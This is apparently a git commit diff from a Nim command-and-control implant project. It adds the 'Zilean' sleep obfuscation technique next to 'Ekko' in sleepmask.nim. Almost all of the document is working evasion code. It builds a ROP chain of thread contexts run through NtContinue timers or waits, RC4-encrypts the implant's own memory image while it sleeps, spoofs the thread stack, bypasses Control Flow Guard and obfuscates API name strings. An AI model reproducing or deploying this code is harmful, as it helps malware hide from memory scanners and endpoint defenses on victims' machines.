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Implemented Zilean sleep obfuscation technique as an alternative to Ekko.

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This commit is contained in:
Jakob Friedl
2025-09-02 21:41:04 +02:00
parent f7d97908d1
commit b19f8e1236
5 changed files with 246 additions and 87 deletions
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234
src/agent/core/sleepmask.nim
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@@ -1,7 +1,9 @@
import winim/lean
import winim/inc/tlhelp32
import os, system, strformat
import ../../common/[types, utils, crypto]
import ./cfg
import ../../common/[types, utils, crypto]
# Sleep obfuscation implementation based on Ekko, originally developed by C5pider
# The code in this file was taken from the MalDev Academy modules 54, 56 & 59 and translated from C to Nim
@@ -18,11 +20,15 @@ type
NotificationEvent,
SynchronizationEvent
WAIT_CALLBACK_ROUTINE = proc(Parameter: PVOID, TimerOrWaitFired: BOOLEAN): VOID
PWAIT_CALLBACK_ROUTINE = ptr WAIT_CALLBACK_ROUTINE
# Required APIs (definitions taken from NtDoc)
proc RtlCreateTimerQueue*(phTimerQueueHandle: PHANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimerQueue"), dynlib: protect("ntdll.dll").}
proc RtlDeleteTimerQueue(hQueue: HANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlDeleteTimerQueue"), dynlib: protect("ntdll.dll").}
proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.cdecl, stdcall, importc: protect("NtCreateEvent"), dynlib: protect("ntdll.dll").}
proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimer"), dynlib: protect("ntdll.dll").}
proc RtlRegisterWait( hWait: PHANDLE, handle: HANDLE, function: PWAIT_CALLBACK_ROUTINE, ctx: PVOID, ms: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlRegisterWait"), dynlib: protect("ntdll.dll").}
proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.cdecl, stdcall, importc: protect("NtSignalAndWaitForSingleObject"), dynlib: protect("ntdll.dll").}
proc NtDuplicateObject(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.cdecl, stdcall, importc: protect("NtDuplicateObject"), dynlib: protect("ntdll.dll").}
proc NtSetEvent(hEvent: HANDLE, previousState: PLONG): NTSTATUS {.cdecl, stdcall, importc: protect("NtSetEvent"), dynlib: protect("ntdll.dll").}
@@ -62,13 +68,18 @@ proc GetRandomThreadCtx(): CONTEXT =
continue
echo fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing."
break
break
return ctx
# Ekko sleep obfuscation with stack spoofing
proc sleepEkko*(sleepDelay: int) =
proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofStack: bool = true) =
echo fmt"[*] Using {$mode} for sleep obfuscation [Stack duplication: {$spoofStack}]."
if sleepDelay == 0:
return
var
status: NTSTATUS = 0
img: USTRING = USTRING(Length: 0)
@@ -78,12 +89,13 @@ proc sleepEkko*(sleepDelay: int) =
ctxBackup: CONTEXT
ctxSpoof: CONTEXT
hThread: HANDLE
hEvent: HANDLE
hEventTimer: HANDLE
hEventWait: HANDLE
hEventStart: HANDLE
hEventEnd: HANDLE
queue: HANDLE
timer: HANDLE
value: DWORD = 0
oldProtection: DWORD = 0
delay: DWORD = 0
try:
@@ -91,11 +103,14 @@ proc sleepEkko*(sleepDelay: int) =
NtContinue = GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtContinue"))
SystemFunction032 = GetProcAddress(LoadLibraryA(protect("Advapi32")), protect("SystemFunction032"))
# Add NtContinue to the Control Flow Guard allow list to make Ekko work in processes protected by CFG
discard evadeCFG(NtContinue)
# Locate image base and size
var imageBase = GetModuleHandleA(NULL)
var imageSize = (cast[PIMAGE_NT_HEADERS](imageBase + (cast[PIMAGE_DOS_HEADER](imageBase)).e_lfanew)).OptionalHeader.SizeOfImage
# echo fmt"[+] Image base at: 0x{cast[uint64](imageBase).toHex()} ({imageSize} bytes)"
img.Buffer = cast[PVOID](imageBase)
img.Length = imageSize
@@ -104,128 +119,177 @@ proc sleepEkko*(sleepDelay: int) =
key.Buffer = keyBuffer.addr
key.Length = cast[DWORD](keyBuffer.len())
# Sleep obfuscation implementation using NTAPI
# Sleep obfuscation implementation using Windows Native API functions
# Create timer queue
status = RtlCreateTimerQueue(addr queue)
if status != STATUS_SUCCESS:
raise newException(CatchableError, $status.toHex())
defer: discard RtlDeleteTimerQueue(queue)
if mode == EKKO:
status = RtlCreateTimerQueue(addr queue)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlCreateTimerQueue " & $status.toHex())
# Create events
status = NtCreateEvent(addr hEvent, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
status = NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, $status.toHex())
defer: CloseHandle(hEvent)
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
if mode == ZILEAN:
status = NtCreateEvent(addr hEventWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
status = NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, $status.toHex())
defer: CloseHandle(hEventStart)
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
status = NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, $status.toHex())
defer: CloseHandle(hEventEnd)
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
# Retrieve a random thread context from the current process
ctxSpoof = GetRandomThreadCtx()
if mode == EKKO:
# Retrieve the initial thread context
delay += 100
status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlCreateTimer/RtlCaptureContext " & $status.toHex())
# Retrieve the initial thread context
status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, 0, 0, WT_EXECUTEINTIMERTHREAD)
# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
delay += 100
status = RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlCreateTimer/SetEvent " & $status.toHex())
elif mode == ZILEAN:
delay += 100
status = RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](RtlCaptureContext), addr ctxInit, delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlRegisterWait/RtlCaptureContext " & $status.toHex())
delay += 100
status = RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](SetEvent), cast[PVOID](hEventTimer), delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlRegisterWait/SetEvent " & $status.toHex())
# Wait for events to finish before continuing
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, $status.toHex())
raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex())
# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
status = RtlCreateTimer(queue, addr timer, SetEvent, addr hEvent, 0, 0, WT_EXECUTEINTIMERTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, $status.toHex())
WaitForSingleObject(hEvent, 1000)
# Create handle to the current process
status = NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
if status != STATUS_SUCCESS:
raise newException(CatchableError, $status.toHex())
defer: CloseHandle(hThread)
if spoofStack:
# Stack duplication
# Create handle to the current process
# Retrieve a random thread context from the current process
ctxSpoof = GetRandomThreadCtx()
status = NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtDuplicateObject " & $status.toHex())
# Preparing the ROP chain
# Initially, each element in this array will have the same context as the timer's thread context
for i in 0 ..< ctx.len():
copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT))
dec(ctx[i].Rsp, 8) # Stack alignment, due to the RSP register being incremented by the size of a pointer
dec(ctx[i].Rsp, sizeof(PVOID)) # Stack alignment, due to the RSP register being incremented by the size of a pointer
var gadget = 0
# ROP Chain
# ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain.
ctx[0].Rip = cast[DWORD64](WaitForSingleObjectEx)
ctx[0].Rcx = cast[DWORD64](hEventStart)
ctx[0].Rdx = cast[DWORD64](INFINITE)
ctx[0].R8 = cast[DWORD64](NULL)
ctx[gadget].Rip = cast[DWORD64](WaitForSingleObjectEx)
ctx[gadget].Rcx = cast[DWORD64](hEventStart)
ctx[gadget].Rdx = cast[DWORD64](INFINITE)
ctx[gadget].R8 = cast[DWORD64](FALSE)
inc gadget
# ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-]
ctx[1].Rip = cast[DWORD64](VirtualProtect)
ctx[1].Rcx = cast[DWORD64](imageBase)
ctx[1].Rdx = cast[DWORD64](imageSize)
ctx[1].R8 = cast[DWORD64](PAGE_READWRITE)
ctx[1].R9 = cast[DWORD64](addr value)
ctx[gadget].Rip = cast[DWORD64](VirtualProtect)
ctx[gadget].Rcx = cast[DWORD64](imageBase)
ctx[gadget].Rdx = cast[DWORD64](imageSize)
ctx[gadget].R8 = cast[DWORD64](PAGE_READWRITE)
ctx[gadget].R9 = cast[DWORD64](addr oldProtection)
inc gadget
# ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4.
ctx[2].Rip = cast[DWORD64](SystemFunction032)
ctx[2].Rcx = cast[DWORD64](addr img)
ctx[2].Rdx = cast[DWORD64](addr key)
ctx[gadget].Rip = cast[DWORD64](SystemFunction032)
ctx[gadget].Rcx = cast[DWORD64](addr img)
ctx[gadget].Rdx = cast[DWORD64](addr key)
inc gadget
# Ctx[3] contains the call to GetThreadContext, which retrieves the payload's main thread context and saves it into the CtxBackup variable for later restoration.
ctxBackup.ContextFlags = CONTEXT_ALL
ctx[3].Rip = cast[DWORD64](GetThreadContext)
ctx[3].Rcx = cast[DWORD64](hThread)
ctx[3].Rdx = cast[DWORD64](addr ctxBackup)
if spoofStack:
# ctx[3] contains the call to GetThreadContext, which retrieves the payload's main thread context and saves it into the CtxBackup variable for later restoration.
ctxBackup.ContextFlags = CONTEXT_ALL
ctx[gadget].Rip = cast[DWORD64](GetThreadContext)
ctx[gadget].Rcx = cast[DWORD64](hThread)
ctx[gadget].Rdx = cast[DWORD64](addr ctxBackup)
inc gadget
# Ctx[4] contains the call to SetThreadContext that will spoof the payload thread by setting the thread context with the stolen context.
ctx[4].Rip = cast[DWORD64](SetThreadContext)
ctx[4].Rcx = cast[DWORD64](hThread)
ctx[4].Rdx = cast[DWORD64](addr ctxSpoof)
# ctx[4] contains the call to SetThreadContext that will spoof the payload thread by setting the thread context with the stolen context.
ctx[gadget].Rip = cast[DWORD64](SetThreadContext)
ctx[gadget].Rcx = cast[DWORD64](hThread)
ctx[gadget].Rdx = cast[DWORD64](addr ctxSpoof)
inc gadget
# ctx[5] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached.
ctx[5].Rip = cast[DWORD64](WaitForSingleObjectEx)
ctx[5].Rcx = cast[DWORD64](GetCurrentProcess())
ctx[5].Rdx = cast[DWORD64](cast[DWORD](sleepDelay))
ctx[5].R8 = cast[DWORD64](FALSE)
ctx[gadget].Rip = cast[DWORD64](WaitForSingleObjectEx)
ctx[gadget].Rcx = cast[DWORD64](GetCurrentProcess())
ctx[gadget].Rdx = cast[DWORD64](cast[DWORD](sleepDelay))
ctx[gadget].R8 = cast[DWORD64](FALSE)
inc gadget
# ctx[6] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory
ctx[6].Rip = cast[DWORD64](SystemFunction032)
ctx[6].Rcx = cast[DWORD64](addr img)
ctx[6].Rdx = cast[DWORD64](addr key)
ctx[gadget].Rip = cast[DWORD64](SystemFunction032)
ctx[gadget].Rcx = cast[DWORD64](addr img)
ctx[gadget].Rdx = cast[DWORD64](addr key)
inc gadget
# Ctx[7] calls SetThreadContext to restore the original thread context from the previously saved CtxBackup.
ctx[7].Rip = cast[DWORD64](SetThreadContext)
ctx[7].Rcx = cast[DWORD64](hThread)
ctx[7].Rdx = cast[DWORD64](addr ctxBackup)
if spoofStack:
# ctx[7] calls SetThreadContext to restore the original thread context from the previously saved CtxBackup.
ctx[gadget].Rip = cast[DWORD64](SetThreadContext)
ctx[gadget].Rcx = cast[DWORD64](hThread)
ctx[gadget].Rdx = cast[DWORD64](addr ctxBackup)
inc gadget
# ctx[5] contains the call to VirtualProtect to change the payload memory back to [R-X]
ctx[8].Rip = cast[DWORD64](VirtualProtect)
ctx[8].Rcx = cast[DWORD64](imageBase)
ctx[8].Rdx = cast[DWORD64](imageSize)
ctx[8].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE)
ctx[8].R9 = cast[DWORD64](addr value)
# ctx[8] contains the call to VirtualProtect to change the payload memory back to [R-X]
ctx[gadget].Rip = cast[DWORD64](VirtualProtect)
ctx[gadget].Rcx = cast[DWORD64](imageBase)
ctx[gadget].Rdx = cast[DWORD64](imageSize)
ctx[gadget].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE)
ctx[gadget].R9 = cast[DWORD64](addr oldProtection)
inc gadget
# ctx[6] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete
ctx[9].Rip = cast[DWORD64](NtSetEvent)
ctx[9].Rcx = cast[DWORD64](hEventEnd)
ctx[9].Rdx = cast[DWORD64](NULL)
# ctx[9] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete
ctx[gadget].Rip = cast[DWORD64](NtSetEvent)
ctx[gadget].Rcx = cast[DWORD64](hEventEnd)
ctx[gadget].Rdx = cast[DWORD64](NULL)
# Executing timers
for i in 0 ..< ctx.len():
for i in 0 .. gadget:
delay += 100
status = RtlCreateTimer(queue, addr timer, NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, $status.toHex())
if mode == EKKO:
status = RtlCreateTimer(queue, addr timer, NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex())
elif mode == ZILEAN:
status = RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](NtContinue), addr ctx[i], delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex())
echo protect("[*] Triggering sleep obfuscation.")
status = NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, $status.toHex())
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
echo protect("[*] Ending sleep obfuscation.")
except CatchableError as err:
sleep(sleepDelay)
echo protect("[-] "), err.msg
echo protect("[-] "), err.msg
finally:
# Cleanup
if queue != 0: discard RtlDeleteTimerQueue(queue)
if hEventTimer != 0: CloseHandle(hEventTimer)
if hEventWait != 0: CloseHandle(hEventWait)
if hEventStart != 0: CloseHandle(hEventStart)
if hEventEnd != 0: CloseHandle(hEventEnd)
if hThread != 0: CloseHandle(hThread)